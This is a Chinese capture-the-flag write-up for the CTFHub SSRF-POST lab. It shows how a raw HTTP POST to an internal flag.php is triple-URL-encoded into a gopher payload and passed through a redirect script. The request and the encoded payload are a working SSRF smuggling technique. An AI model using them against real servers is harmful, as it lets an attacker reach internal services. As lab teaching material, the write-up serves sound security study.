zoukankan      html  css  js  c++  java
  • CTFHUB-技能树-Web-SSRF-POST

    提示:

    访问题目url,先尝试一下flag.php,发现一个key值

    根据提示尝试一下302.php
    得到提示

    header("Location:{$_GET['url']}");的意思是重定向页面到GET到url的内容,根据提示我们要构造一个POST请求

    一般格式:

    POST /flag.php HTTP/1.1 //flag肯定是在flag.php里
    Host: 127.0.0.1:80
    Content-Type: application/x-www-form-urlencoded //文本类型
    Content-Length: 36 //长度为下面全部数据的长度

    key=a80ea933ead842996c204517423ae75e //key值是前面得到的

    然后进行url三次编码即(注:第一次url编码后要手动在所有%0A前面加上%0D,再进行后续编码)

    POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253Da80ea933ead842996c204517423ae75e

    这里运用了gopher协议,先构造payload再解释

    gopher协议:互联网上使用的分布型的文件搜集获取网络协议,是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息
    使用方法:gopher://ip:port/_payload

    此题整体思路:尝试读取flag.php和提示的302.php --> 根据所得信息选择SSRF漏洞可用的url伪协议 --> 构造payload

    payload解释:根据302.php的源码可以知道,需要以GET方式传递一个url参数,并且会重定向到其指定的地址,用gopher协议可以查看该地址的信息,进行三次的url编码是因为客户端到服务端解析方式

  • 相关阅读:
    P3382 【模板】三分法
    1269: [AHOI2006]文本编辑器editor
    1500: [NOI2005]维修数列
    4196: [Noi2015]软件包管理器
    django 表单系统 之 forms.ModelForm
    django 表单系统 之 forms.Form
    django ORM 批量操作:批量插入bulk_create
    django 多数据库时 ORM语句 选择数据库
    django 配置 多数据库
    django模板复用 extends,block,include
  • 原文地址:https://www.cnblogs.com/Web-Fresher/p/13723421.html
Copyright © 2011-2022 走看看